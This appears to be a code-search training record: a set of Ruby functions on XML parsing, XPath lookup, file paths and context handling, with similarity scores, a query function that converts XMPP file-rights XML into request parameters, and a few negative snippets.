"def get_elem_str(path_solver, context = nil, flwor_solver = nil)\n context ||= XQuerySolverContext.new\n # hash with results\n enclosed_expr_hash = {}\n\n # find eclosed expressions\n # predicate [not(descendant::EnclosedExpr)] does not work\n enclosed_nodes = node.xpath('.//EnclosedExpr/Expr')\n attr_encl_nodes = Set.new\n exprs = node.xpath('.//DirAttributeValue//EnclosedExpr/Expr')\n exprs.each do |attr_node|\n attr_encl_nodes << attr_node.text\n end\n\n done_enclosed_nodes = []\n final_elem_str = node.text\n\n enclosed_nodes.each do |enclosed_node|\n # reduce them\n reduced = Expressions.reduce(enclosed_node)\n reduced_text = reduced.text\n\n # reduce enclosed nodes so they do not embed each other\n incl = false\n done_enclosed_nodes.each do |done_str|\n if done_str.include?(\"{#{reduced_text}}\")\n incl = true\n break\n end\n end\n next if incl\n\n # if already resolved -> skip\n next if enclosed_expr_hash[reduced_text]\n\n results = []\n case reduced.name\n when 'VarRef' # enclosed expr VarRef type\n results = context.variables[reduced.children[1].text]\n when 'RelativePathExpr' # enclosed expr RelativePathExpr type\n path_expr = RelativePathExpr.new(reduced)\n results = path_solver.solve(path_expr, context)\n when 'FLWORExpr'\n results = flwor_solver.solve(FLWORExpr.new(reduced))\n enclosed_expr_hash[reduced_text] = [results.join]\n results = nil\n else\n fail NotSupportedError, reduced.name\n end\n\n enclosed_expr_hash[reduced_text] = results if results\n\n done_enclosed_nodes << reduced_text\n end\n\n final_elem_str = node.text\n enclosed_expr_hash.keys.sort.reverse.each do |key|\n elem_str = ''\n attr_str = ''\n results = enclosed_expr_hash[key]\n results.each do |result|\n if result.kind_of?(String)\n elem_str << result\n attr_str << result\n else\n node = path_solver.path_processor.get_node(result)\n elem_str << node.to_html\n attr_str << node.content\n end\n end\n final_elem_str.gsub!(\"=\\\"{#{key}}\\\"\", \"=\\\"#{attr_str}\\\"\")\n final_elem_str.gsub!(\"{#{key}}\", elem_str)\n end\n final_elem_str\n end",
"def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end",
"def absolutize uri_s, context\n begin\n uri = URI.parse uri_s\n return uri_s if uri.absolute?\n\n path_base = @base\n path_to(context).each do |node|\n if (xb = node.attributes['xml:base'])\n xb = URI.parse xb\n if xb.absolute? then path_base = xb else path_base.merge! xb end\n end\n end\n\n return path_base.merge(uri).to_s\n rescue URI::InvalidURIError\n return nil\n end\n end",
"def search(xpath)\n xpath = \".#{xpath}\" if !self.is_a?(REXML::Document) and xpath =~ /^\\//\n ret = REXML::XPath.match(self,xpath).map{|elm|\n elm.extend(ElementHelper)\n elm\n block_given? ? (yield elm) : elm\n }\n end",
"def process_xml(string)\n xml_processor_helper(create_document(string))\nend",
"def on_add(xmlpath, id)\n\n yield(xmlpath, id) if block_given?\n\n end",
"def evaluate(context, path)\n content_type, attributes = content_type_of_path(context, path)\n processors = get_all_processors_for_evaluate(context, content_type, attributes, path)\n filter_all_processors(processors)\n evaluate_path_from_context(context, path, processors)\n end",
"def PathExpr(path, parsed); end",
"def parse_xml(xml)\n hash = XmlSimple.xml_in(xml)\n hash['query']#return just the results of the query\nend",
"def xml(path)\n Nokogiri::XML read path\n end",
"def context(filename, search_text, host)\n return execute_search([filename], search_text, true, host)\n end",
"def lookup_context; end",
"def lookup_context; end",
"def lookup_context; end",
"def setXmlFile(*args)\n if(args.size == 2)\n setXmlFile_2(args[0], args[1])\n else\n @OBMANAGER = GlobalSettings.getGlobal(\"ActiveRepositoryLoader\")\n xmlFileTmp = args[0]\n if (@XMLFILE != nil && @XMLFILE == xmlFileTmp && @XML != nil)\n #puts \"returning nil.....\"\n return nil\n end\n @XMLFILE = args[0]\n #puts \"xmlFile : #{@XMLFILE}\"\n fullPath = @XMLFILE\n scndPath = \"#{File.absolute_path(GlobalSettings.getDocumentWorkAreaDirectory)}#{@@FS}\"\n if(scndPath == @serverDataPath)\n scndPath = \"#{File.absolute_path(GlobalSettings.getDocumentDataDirectory)}#{@@FS}\"\n end\n if ((fullPath.index(@serverDataPath) == nil) && (fullPath.index(scndPath) == nil))\n fullPath = @serverDataPath.concat(fullPath)\n end\n\n if (@XMLFILE.index(\"//\") != nil)\n @XMLFILE = Parser.replaceAll(@XMLFILE, \"//\", \"/\")\n end\n if (fullPath.index(\"//\") != nil)\n fullPath = Parser.replaceAll(fullPath, \"//\", \"/\")\n end\n #puts \"FullPath::::1::::: #{fullPath}\"\n fullPath = GlobalSettings.changeFilePathToMatchSystem(fullPath)\n #puts \"FullPath::::2::::: #{fullPath}\"\n fullPathMod = Parser.replaceAll(Parser.replaceAll(fullPath, @@FS, \"-\"), \":\", \"[\")\n xmlFileMod = Parser.replaceAll(Parser.replaceAll(@XMLFILE, @@FS, \"-\"), \":\", \"[\")\n\n\n #puts \"Obmanager: #{@OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME)} -- Repo name: #{@@REPOSITORY_NAME} FullPath: #{fullPathMod}\"\n\n if (@OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME) != nil &&\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod) != nil &&\n (@XML = @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).getObject()) != nil)\n if (@XML != nil || @XML != Array.new)\n #puts \"========> 1 Time diff : #{(File.mtime(fullPath).to_time.to_i - @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE.to_time.to_i)}\"\n if ((File.mtime(fullPath).to_time.to_i - @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE.to_time.to_i) > 1500)\n xmlDoc = XMLDocument.new(fullPath, true)\n #xmlDoc.tagToString( xmlDoc.XML_DOC[0], 0 )\n #puts \"XMLSmart Doc is a #{xmlDoc.XML_DOC.class.name}\"\n hmXML = @xmlTool.createHashtableFromXMLDocument(xmlDoc)\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).removeRepositoryObject(fullPathMod)\n\n #puts \"1 Commiting :#{fullPathMod}\"\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).commitObject(fullPathMod, hmXML, true)\n @XML = hmXML\n File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE.to_time, fullPath)\n\n GlobalSettings.clearPageModules(@session, @XMLFILE, -1)\n end\n\n end\n\n elsif (@OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME) != nil &&\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod) != nil &&\n (@XML = @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(xmlFileMod).getObject()) != nil)\n if (@XML != nil || @XML != Array.new)\n #puts \"========> 2\"\n if ((File.mtime(@XMLFILE) - obManager.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(xmlFileMod).CREATION_DATE) > 1500)\n hmXML = @xmlTool.createHashtableFromXMLDocument(XMLDocument.new(@XMLFILE, true))\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).removeRepositoryObject(xmlFileMod)\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).commitObject(xmlFileMod, hmXML, true)\n @XML = hmXML\n File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE, fullPath)\n File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(xmlFileMod).CREATION_DATE, @XMLFILE)\n GlobalSettings.clearPageModules(@session, @XMLFILE, -1)\n end\n end\n else\n #puts \"========> 3\"\n #puts \"FullPath : #{fullPath} exist? #{File.exist?(fullPath)}\"\n if (File.exist?(fullPath) && !File.directory?(fullPath))\n #puts \"Load XML...\"\n @XML = @xmlTool.createHashtableFromXMLDocument(XMLDocument.new(fullPath, true))\n end\n #puts \"XML: #{@XML}\"\n if (@XML != nil)\n #puts \"3 Commiting :#{fullPathMod}\"\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).commitObject(fullPathMod, @XML, true)\n File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE.to_time, fullPath)\n\n else\n if (File.exist?(@XMLFILE) && !File.directory?(@XMLFILE))\n @XML = @xmlTool.createHashtableFromXMLDocument(XMLDocument.new(@XMLFILE, true))\n if (@XML != nil )\n #puts \"4 Commiting :#{fullPathMod}\"\n @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).commitObject(xmlFileMod, @XML, File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(fullPathMod).CREATION_DATE, fullPath))\n File.utime(0, @OBMANAGER.getObjectRepsoitory(@@REPOSITORY_NAME).getRepositoryObject(xmlFileMod).CREATION_DATE.to_time, @XMLFILE)\n end\n end\n #}\n end\n end\n end\n end",
"def eval_context(context, node); end",
"def parse_rst_pref(xml_doc)\r\n return xml_doc.xpath(\"//xmlns:url/xmlns:loc\").map { |e| get_prefecture(e.text.strip) }\r\n end",
"def send_and_process(path, res_path, xml = nil) # :doc:\n # send XML\n res = send_pairwise_request(path, xml)\n # process response\n fetch_xml_attr(res_path, res) if res\n end",
"def resolve(context, path)\n factory = @parser.parse_string(path)\n v = resolve_any(factory.model.body, context, path)\n v.is_a?(Builder) ? v.resolve : v\n end",
"def init_from_xml(xmlDoc)\r\n @type = xmlDoc.expanded_name\r\n xmlDoc.each_element(\"ID\") { |e| @procID = e.text }\r\n xmlDoc.each_element(\"GROUP\") { |e| @group = e.text }\r\n xmlDoc.each_element(\"PATH\") { |e| @path = e.text }\r\n xmlDoc.each_element(\"ARGSLINE\") { |e| @cmdLineArgs = e.text }\r\n xmlDoc.each_element(\"ENV\") { |e| @env = e.text }\r\n # Dump the XML description of the OML configuration into a file\r\n xmlDoc.each_element(\"OML_CONFIG\") { |config|\r\n configPath = nil\r\n config.each_element(\"omlc\") { |omlc|\r\n configPath = \"/tmp/#{omlc.attributes['exp_id']}-#{@procID}.xml\"\r\n }\r\n f = File.new(configPath, \"w+\")\r\n config.each_element {|el|\r\n f << el.to_s\r\n }\r\n f.close\r\n # Set the OML_CONFIG environment with the path to the XML file\r\n @env << \" OML_CONFIG=#{configPath} \"\r\n }\r\n end",
"def find_from_config(xpath, config, options = {})\n name_node = REXML::XPath.match(config, xpath)\n return nil if name_node.empty?\n\n properties = Util.xml_to_hash(name_node[0].parent, \"search\")\n from_hash(properties, options)\n end",
"def moddify_document(path)\n doc = nil\n File.open(path,'r+') do | file|\n xml_string = file.read\n doc = process_xml(xml_string) if valid_xml?(xml_string)\n end\n doc\nend",
"def find_and_update(xpath, attributes)\n @doc.find(xpath).each do |node|\n if node_match?(node, attributes)\n attributes.each_key do |attrib|\n node.attributes[attrib.to_s] = attributes[attrib][1]\n end\n end\n end\n end",
"def refs_iev2iec60050part(xml, parts, bibdb = nil)\n new_iev = \"\"\n parts.sort.each do |p|\n hit = bibdb&.fetch(\"IEC 60050-#{p}\", nil, keep_year: true) or next\n new_iev += refs_iev2iec60050part1(xml, p, hit)\n xml.xpath(IEVPATH.gsub(/60050/, \"60050-#{p}\")).each do |x|\n x[\"citeas\"] = @c.decode(x[\"citeas\"])\n .sub(/:2011$/, \":#{hit.date[0].on(:year)}\")\n end\n end\n new_iev\n end",
"def find\n \"#{content_path}#{clean_path}\"\n end",
"def contents(context, xpath)\n enum = context.find(xpath) if context\n (enum || []).map { |node| node.content }\n end",
"def open_node_context(finder, cont = {})\n sub_context = node_context_vars(finder).merge(cont)\n\n with_context(sub_context) do\n yield\n end\n end",
"def xml\n base = REXML::Element.new(@name)\n if @row.class == DBI::Row # only if we have a row otherwise return an empty xml node\n # prime\n context = nil\n rowcontext = base\n # loop through each column\n @row.each_with_name do |val, colpath|\n context = rowcontext # start at the top of the row for each column\n parents = colpath.split('/') # split on any path dividers, i.e. parent/parent/child\n child = parents.pop # get the child off the parents\n # loop through all the parents\n parents.each.each do |p|\n found = REXML::XPath.first(context, p) # does the element already exist?\n if not found # if not...\n el = p.gsub(/[[].*[]]$/,'') # remove index if there is one\n found = context.add_element(el) # add the element\n end\n context = found # this parent is now our new context\n end\n # do the child (the end of the tree branch)\n if child =~ /^@(.*)/ # is it labeled an attribute with @?\n context.add_attribute($1, val.to_s) # add attribute\n elsif @attributes.include?(child) # or is it in the attributes list?\n context.add_attribute(child, val.to_s) # add attribute\n else\n found = REXML::XPath.first(context, child) # does it already exist?\n if not found # if not...\n el = child.gsub(/[[].*[]]$/,'') # remove index if there is one\n found = context.add_element(el) # add the element\n end\n context = found # the child is now our new context\n context.add_text(val.to_s) # insert the text node as val\n end\n end\n end\n return base\n end",
"def get_params_from_xml(xml) \n empty = REXML::Element.new('empty') \n empty_attr = REXML::Attribute.new('empty') \n ret = {} \n root = xml.root \n \n ret.merge!('openid.mode' => \"checkid_#{$1.downcase}\") if root.xpath =~ /OpenIDCheckID(.*)/ \n if req = root.get_elements('Request').first \n ret.merge!('openid.identity' => ((req.get_elements('Identity').first || empty).text || '').strip, \n 'openid.assoc_handle' => ((req.get_elements('AssocHandle').first || empty).text || '').strip, \n 'openid.return_to' => ((req.get_elements('ReturnTo').first || empty).text || '').strip, \n 'openid.trust_root' => ((req.get_elements('TrustRoot').first || empty).text || '').strip) \n if sreg = req.get_elements('Sreg').first \n ret.merge!('openid.sreg.required' => ((sreg.attribute('required') || empty_attr).value || '').strip, \n 'openid.sreg.optional' => ((sreg.attribute('optional') || empty_attr).value || '').strip, \n 'openid.sreg.policy_url' => ((sreg.attribute('policy_url') || empty_attr).value || '').strip) \n end \n end \n return ret \n end",
"def parse_entry_info(xml_element)\n \n revision = xml_element.attributes['revision']\n author = xml_element.elements['author'].text\n date = DateTime.parse(xml_element.elements['date'].text)\n message = xml_element.elements['msg'].text\n \n paths = xml_element.elements.collect('paths/path') do |e|\n {\n :action => e.attributes['action'],\n :path => e.text\n }\n end\n \n return {\n :revision => revision,\n :author => author,\n :message => message,\n :date => date,\n :paths => paths\n }\n end",
"def config_entityengine_xml()\n ee_xml = File.readlines(self.entityengine_xml()).map do |line|\n if m = /(#{Regexp.quote(self.entityengine_xml_db_token())})/.match(line)\n self.debug(m[0])\n new_str = \"#{m.pre_match}#{entityengine_db}#{m.post_match}\"\n self.debug(new_str)\n new_str\n elsif m = /(#{Regexp.quote(self.entityengine_xml_schema_token())})/.match(line)\n self.debug(m[0])\n new_str = \"#{m.pre_match}#{self.entityengine_schema()}#{m.post_match}\"\n self.debug(new_str)\n new_str\n else\n line\n end\n end\n \n File.open(self.entityengine_xml(), \"w\") do |io|\n ee_xml.each { |line| io.puts(line) }\n end\n end",
"def find_context(request_context, &block)\n # Search in blocks in the following order.\n # 1. primary context(no context)\n # 2. complete match config[:context] == request_context\n # 3. partial match config[:context] =~ request_context\n return {} if with_context({}, &block)\n\n Config.instance.keymap.each do |config|\n next unless config[:context] == request_context\n return config[:context] if with_context(config[:context], &block)\n end\n if request_context.keys.size > 1\n Config.instance.keymap.each do |config|\n next if config[:context].nil?\n\n next unless config[:context].all? { |k, v| request_context[k] == v }\n return config[:context] if with_context(config[:context], &block)\n end\n end\n end",
"def find\r\n scanner = DirectoryScanner.new\r\n scanner.setBasedir(@context.root)\r\n scanner.setCaseSensitive(false)\r\n scanner.setIncludes(@includes.to_java :String) unless @includes.empty?\r\n scanner.setExcludes(@excludes.to_java :String) unless @excludes.empty?\r\n scanner.scan\r\n scanner.included_files.collect{|f| @context.filepath_from_root(f) }\r\n end",
"def search_by_xquery(xquery)\n logger.debug \"XQuery: #{xquery}\"\n url = URI.parse(\"#{@keeper_url}/feature?query=#{CGI.escape(xquery)}\").to_s\n xml = RestClient.get(url, @headers).body\n\n features = []\n doc = Nokogiri::XML(xml)\n doc.xpath('//feature', 'k' => KEEPER_XML_NS).each do |feat_element|\n feature = Feature.new(self)\n feature.feature_id = feat_element.xpath('./@k:id', 'k' => KEEPER_XML_NS).first.value\n feature.title = feat_element.xpath('./title', 'k' => KEEPER_XML_NS).first.content\n feat_element.xpath('./actor', 'k' => KEEPER_XML_NS).each do |actor|\n if actor.xpath('./role', 'k' => KEEPER_XML_NS).first.content == \"infoprovider\"\n feature.infoprovider = actor.xpath('.//email', 'k' => KEEPER_XML_NS).first.content\n end\n end\n feat_element.xpath('./productcontext', 'k' => KEEPER_XML_NS).each do |ctx_element|\n ctx = Feature::ProductContext.new\n product = ctx_element.xpath('./product/name').first.content\n ctx.status = ctx_element.xpath('./status').children.select {|x| x.element?}.first.name.to_sym\n feature.product_contexts[product] = ctx\n\n # Priorities\n ctx_element.xpath('./priority').each do |prio_element|\n prio = prio_element.children.select(&:element?).first.name.to_sym\n owner = prio_element.xpath('./owner/role').first.content.to_sym\n ctx.priorities[owner] = prio\n end\n end\n yield feature if block_given?\n features << feature\n end\n features\n end",
"def level_for_context(context)\n lvl = self.levels_cache[nil]\n root = []\n context.to_s.split('::').each do |part|\n root << part\n path = root.join '::'\n lvl = self.levels_cache[path] if self.levels_cache.key? path\n end\n lvl\n end",
"def extract_attr_value(xml)\n raw = {}\n default_when_xpath_err {\n @path.each(xml) do |node|\n raw[node.name] = node.text\n end\n }\n raw\n end",
"def extractDatabase(type)\n Nokogiri::XML(IO.read(\"#{$path}../../databases/taxonomy.xml\")).xpath(\"//taxon[@label=\\\"#{type}\\\"]//file/@URL\").to_s\nend",
"def path_to(node)\n if node.class == REXML::Element\n path_to(node.parent) << node\n else\n [ ]\n end\n end",
"def path\n\t\t\t@path_elements.join(\"/\")\n\t\tend",
"def find(path, type, setting); end",
"def get_vmids(nodes)\n\n one_xml = REXML::Document.new( %x[ onevm list -x ] )\n #one_xml = REXML::Document.new( %x[cat /home/oneadmin/test_input.xml] )\n\n one_xml.elements.each('//VM_POOL/VM') do |vm_xml|\n\n vmid_xml = vm_xml.get_elements('ID').first\n next unless vmid_xml\n\n ip_xml = vm_xml.get_elements('TEMPLATE/NIC[1]/IP').first\n next unless ip_xml\n\n vmid = Integer(vmid_xml.text)\n ip = ip_xml.text\n\n fqdn = get_fqdn(ip)\n next unless fqdn\n\n nodes.each do |wn|\n next unless wn[:fqdn] == fqdn\n wn[:vmid] = vmid\n end\n\n end\n\nend",
"def extract_context\n if File.readable?( @file ) then\n file_lines = IO.readlines( @file )\n @line_index = @line_number - 1\n\n start_line = @line_index - @padding\n start_line = 0 if start_line < 0\n\n stop_line = @line_index + @padding\n stop_line = (file_lines.size - 1) if stop_line >= file_lines.size\n\n @context_index = @line_index - start_line\n @context_line_numbers = (start_line+1..stop_line+1).to_a\n @context_lines = file_lines[start_line, @context_line_numbers.size]\n end\n end",
"def edit_carbonXML(carbon_home,url_port,url_contextRoot,contextRoot) \n\tFile.open(File.join(carbon_home , 'conf','carbon.xml')) do |config_file|\n\t\t# Open the document and edit the port (carbon.xml)\n\t\tconfig = Document.new(config_file)\n\t\tif !url_port.eql? \"\"\n\t\t\tconfig.root.elements['ServerURL'].text = 'https://localhost:' + url_port + url_contextRoot + '/services/'\n\t\tend\t\t\n\t\t\tconfig.root.elements['WebContextRoot'].text = contextRoot\n\n\t\t# Write the result to a new file.\n\t\tformatter = REXML::Formatters::Default.new\n\t\tFile.open(File.join(carbon_home , 'conf','result_carbon.xml'), 'w') do |result|\n\n\t\tformatter.write(config, result)\n\t\tend\n\tend \n\tFile.delete(File.join(carbon_home , 'conf','carbon.xml'))\n\tFile.rename( File.join(carbon_home , 'conf','result_carbon.xml'),File.join(carbon_home , 'conf','carbon.xml') )\n\n\nend",
"def temporary_path\n trimmed_name = name.sub(/(papyri|litpap).info\\/#{IDENTIFIER_NAMESPACE}\\//, '')\n components = trimmed_name.split(';')\n return File.join(self.class::PATH_PREFIX, components[0..-2], \"#{components[-1]}.xml\")\n end",
"def parse_context\n Context.new(@req[:context])\n end",
"def parse(context)\n case context\n when EvaluationContext\n debug(\"parse\") {\"context: #{context.inspect}\"}\n context.dup\n when IO, StringIO\n debug(\"parse\") {\"io: #{context}\"}\n # Load context document, if it is a string\n begin\n ctx = JSON.load(context)\n raise JSON::LD::InvalidContext::LoadError, \"Context missing @context key\" if @options[:validate] && ctx['@context'].nil?\n parse(ctx[\"@context\"] || {})\n rescue JSON::ParserError => e\n debug(\"parse\") {\"Failed to parse @context from remote document at #{context}: #{e.message}\"}\n raise JSON::LD::InvalidContext::Syntax, \"Failed to parse remote context at #{context}: #{e.message}\" if @options[:validate]\n self.dup\n end\n when nil\n debug(\"parse\") {\"nil\"}\n # Load context document, if it is a string\n ec = EvaluationContext.new(options)\n when String\n debug(\"parse\") {\"remote: #{context}, base: #{context_base || base}\"}\n # Load context document, if it is a string\n ec = nil\n begin\n url = expand_iri(context, :base => context_base || base, :position => :subject)\n raise JSON::LD::InvalidContext::LoadError if remote_contexts.include?(url)\n @remote_contexts = @remote_contexts + [url]\n ecdup = self.dup\n ecdup.context_base = url # Set context_base for recursive remote contexts\n RDF::Util::File.open_file(url) {|f| ec = ecdup.parse(f)}\n ec.provided_context = context\n ec.context_base = url\n debug(\"parse\") {\"=> provided_context: #{context.inspect}\"}\n ec\n rescue Exception => e\n debug(\"parse\") {\"Failed to retrieve @context from remote document at #{context.inspect}: #{e.message}\"}\n raise JSON::LD::InvalidContext::LoadError, \"Failed to retrieve remote context at #{context.inspect}: #{e.message}\", e.backtrace if @options[:validate]\n self.dup\n end\n when Array\n # Process each member of the array in order, updating the active context\n # Updates evaluation context serially during parsing\n debug(\"parse\") {\"Array\"}\n ec = self\n context.each {|c| ec = ec.parse(c)}\n ec.provided_context = context\n debug(\"parse\") {\"=> provided_context: #{context.inspect}\"}\n ec\n when Hash\n new_ec = self.dup\n new_ec.provided_context = context.dup\n\n # If context has a @vocab member: if its value is not a valid absolute IRI or null trigger an INVALID_VOCAB_MAPPING error; otherwise set the active context's vocabulary mapping to its value and remove the @vocab member from context.\n {\n '@language' => :default_language=,\n '@vocab' => :vocab=\n }.each do |key, setter|\n v = context.fetch(key, false)\n if v.nil? || v.is_a?(String)\n context.delete(key)\n debug(\"parse\") {\"Set #{key} to #{v.inspect}\"}\n new_ec.send(setter, v)\n elsif v && @options[:validate]\n raise InvalidContext::Syntax, \"#{key.inspect} is invalid\"\n end\n end\n\n num_updates = 1\n while num_updates > 0 do\n num_updates = 0\n\n # Map terms to IRIs/keywords first\n context.each do |key, value|\n # Expand a string value, unless it matches a keyword\n debug(\"parse\") {\"Hash[#{key}] = #{value.inspect}\"}\n\n if KEYWORDS.include?(key)\n raise InvalidContext::Syntax, \"key #{key.inspect} must not be a keyword\" if @options[:validate]\n next\n elsif term_valid?(key)\n # Remove all coercion information for the property\n new_ec.set_coerce(key, nil)\n new_ec.set_container(key, nil)\n @languages.delete(key)\n\n # Extract IRI mapping. This is complicated, as @id may have been aliased. Also, if @id is explicitly set to nil, it inhibits and automatic mapping, so treat it as false, to distinguish from no mapping at all.\n value = case value\n when Hash\n value.has_key?('@id') && value['@id'].nil? ? false : value.fetch('@id', nil)\n when nil\n false\n else\n value\n end\n\n # Explicitly say this is not mapped\n if value == false\n debug(\"parse\") {\"Map #{key} to nil\"}\n new_ec.set_mapping(key, nil)\n next\n end\n\n iri = if value.is_a?(Array)\n # expand each item according the IRI Expansion algorithm. If an item does not expand to a valid absolute IRI, raise an INVALID_PROPERTY_GENERATOR error; otherwise sort val and store it as IRI mapping in definition.\n value.map do |v|\n raise InvalidContext::Syntax, \"unknown mapping for #{key.inspect} to #{v.inspect}\" unless v.is_a?(String)\n new_ec.expand_iri(v, :position => :predicate)\n end.sort\n elsif value\n raise InvalidContext::Syntax, \"unknown mapping for #{key.inspect} to #{value.inspect}\" unless value.is_a?(String)\n new_ec.expand_iri(value, :position => :predicate)\n end\n\n if iri && new_ec.mappings.fetch(key, nil) != iri\n # Record term definition\n new_ec.set_mapping(key, iri)\n num_updates += 1\n end\n elsif @options[:validate]\n raise InvalidContext::Syntax, \"key #{key.inspect} is invalid\"\n end\n end\n end\n\n # Next, look for coercion using new_ec\n context.each do |key, value|\n # Expand a string value, unless it matches a keyword\n debug(\"parse\") {\"coercion/list: Hash[#{key}] = #{value.inspect}\"}\n case value\n when Hash\n # Must have one of @id, @language, @type or @container\n raise InvalidContext::Syntax, \"mapping for #{key.inspect} missing one of @id, @language, @type or @container\" if (%w(@id @language @type @container) & value.keys).empty?\n value.each do |key2, value2|\n iri = new_ec.expand_iri(value2, :position => :predicate) if value2.is_a?(String)\n case key2\n when '@type'\n raise InvalidContext::Syntax, \"unknown mapping for '@type' to #{value2.inspect}\" unless value2.is_a?(String) || value2.nil?\n if new_ec.coerce(key) != iri\n case iri\n when '@id', /_:/, RDF::Node\n else\n raise InvalidContext::Syntax, \"unknown mapping for '@type' to #{iri.inspect}\" unless (RDF::URI(iri).absolute? rescue false)\n end\n # Record term coercion\n new_ec.set_coerce(key, iri)\n end\n when '@container'\n raise InvalidContext::Syntax, \"unknown mapping for '@container' to #{value2.inspect}\" unless %w(@list @set @language @index).include?(value2)\n if new_ec.container(key) != value2\n debug(\"parse\") {\"container #{key.inspect} as #{value2.inspect}\"}\n new_ec.set_container(key, value2)\n end\n when '@language'\n if !new_ec.languages.has_key?(key) || new_ec.languages[key] != value2\n debug(\"parse\") {\"language #{key.inspect} as #{value2.inspect}\"}\n new_ec.set_language(key, value2)\n end\n end\n end\n \n # If value has no @id, create a mapping from key\n # to the expanded key IRI\n unless value.has_key?('@id')\n iri = new_ec.expand_iri(key, :position => :predicate)\n new_ec.set_mapping(key, iri)\n end\n when nil, String\n # handled in previous loop\n else\n raise InvalidContext::Syntax, \"attempt to map #{key.inspect} to #{value.class}\"\n end\n end\n\n new_ec\n end\n end"
] |
[
"0.56314456",
"0.55916697",
"0.5503099",
"0.542548",
"0.51419705",
"0.5080171",
"0.50422806",
"0.50086486",
"0.50027657",
"0.50007904",
"0.49485382",
"0.49271888",
"0.49271888",
"0.4908697",
"0.48717603",
"0.48561013",
"0.48391455",
"0.47899863",
"0.47889015",
"0.47503296",
"0.4726218",
"0.47127262",
"0.46875256",
"0.46857205",
"0.46838352",
"0.46793744",
"0.46724582",
"0.4633313",
"0.46056014",
"0.4605465",
"0.45973322",
"0.45823464",
"0.45804873",
"0.4574224",
"0.45648164",
"0.45578447",
"0.45541245",
"0.45340177",
"0.45276836",
"0.45269492",
"0.45269492",
"0.45243728",
"0.45207676",
"0.4513954",
"0.4513954",
"0.44977304",
"0.44950253",
"0.44872573",
"0.44529647",
"0.44430962",
"0.44405407",
"0.44405407",
"0.44286957",
"0.44253486",
"0.4423204",
"0.44212648",
"0.4409093",
"0.44042742",
"0.44026557",
"0.43995705",
"0.4397329",
"0.43931806",
"0.43878096",
"0.4384274",
"0.43791705",
"0.43769595",
"0.43769595",
"0.43769595",
"0.43626314",
"0.43610913",
"0.43595576",
"0.43454012",
"0.4341521",
"0.43407562",
"0.43219686",
"0.4317372",
"0.43112466",
"0.4307504",
"0.43050206",
"0.43035576",
"0.43024388",
"0.43007126",
"0.42973256",
"0.429727",
"0.4289359",
"0.42881343",
"0.42828912",
"0.42806605",
"0.4269951",
"0.42597124",
"0.4257697",
"0.42567703",
"0.42523238",
"0.4251247",
"0.4250979",
"0.42447895",
"0.4243703",
"0.42436424",
"0.4228611",
"0.42248183"
] |
0.62768525
|
0
|
Parses filerights for specific file and translates those to that kind of form that vR understands
|
def parseFilerights(doc, params, path)
fullpath = doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath') ? doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath').value : nil
if not fullpath
raise Exception.new('No fullpath given for changing filerights!')
end
# Checking if public-element (with: true-value) is given -> public file
allow_public = doc.find_first('//xmpp2rest/user/device/filerights/public/allow') ? true : false
if allow_public
params.merge!({"public"=>'true'})
end
# Checking if groups are given -> private file
doc.find('//xmpp2rest/user/device/filerights/groups/group').each do |group_element|
groupname = (group_element.attributes.get_attribute("groupname")) ? group_element.attributes.get_attribute("groupname").value : nil
if group_element.find_first('allow')
params.merge!({"group:#{groupname}" => '1'})
elsif group_element.find_first('deny')
params.merge!({"group:#{groupname}" => '0'})
else
next
end
end
return params, fullpath
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def transform_files!(files, type) \n files.each do |file|\n @file = file\n @type = type\n parsed = \"\"\n @dirnames = Base.get_namespace(file,type) # directories after the app/type/ directory\n \n namespaces = LANGUAGES.collect do |lang|\n if type == 'views'\n namespace = [lang] + @dirnames\n else\n namespace = [lang, type] + @dirnames\n end\n \n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n Namespace.new(namespace,lang)\n end\n\n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, namespaces, type)\n \n # write the app/type/file with new i18n format instead of gettext\n File.open(file, 'w') { |file| file.write(parsed)}\n \n namespaces.each do |ns|\n new_file_handler(ns)\n end\n end\n end",
"def transform(file, format:); end",
"def transform_files\n extract\n reorder_files\n transform @attendance_file, 'att' unless @attendance_file.blank?\n transform @enroll_file, 'enroll' unless @enroll_file.blank?\n transform @ili_file, 'ili' unless @ili_file.blank?\n end",
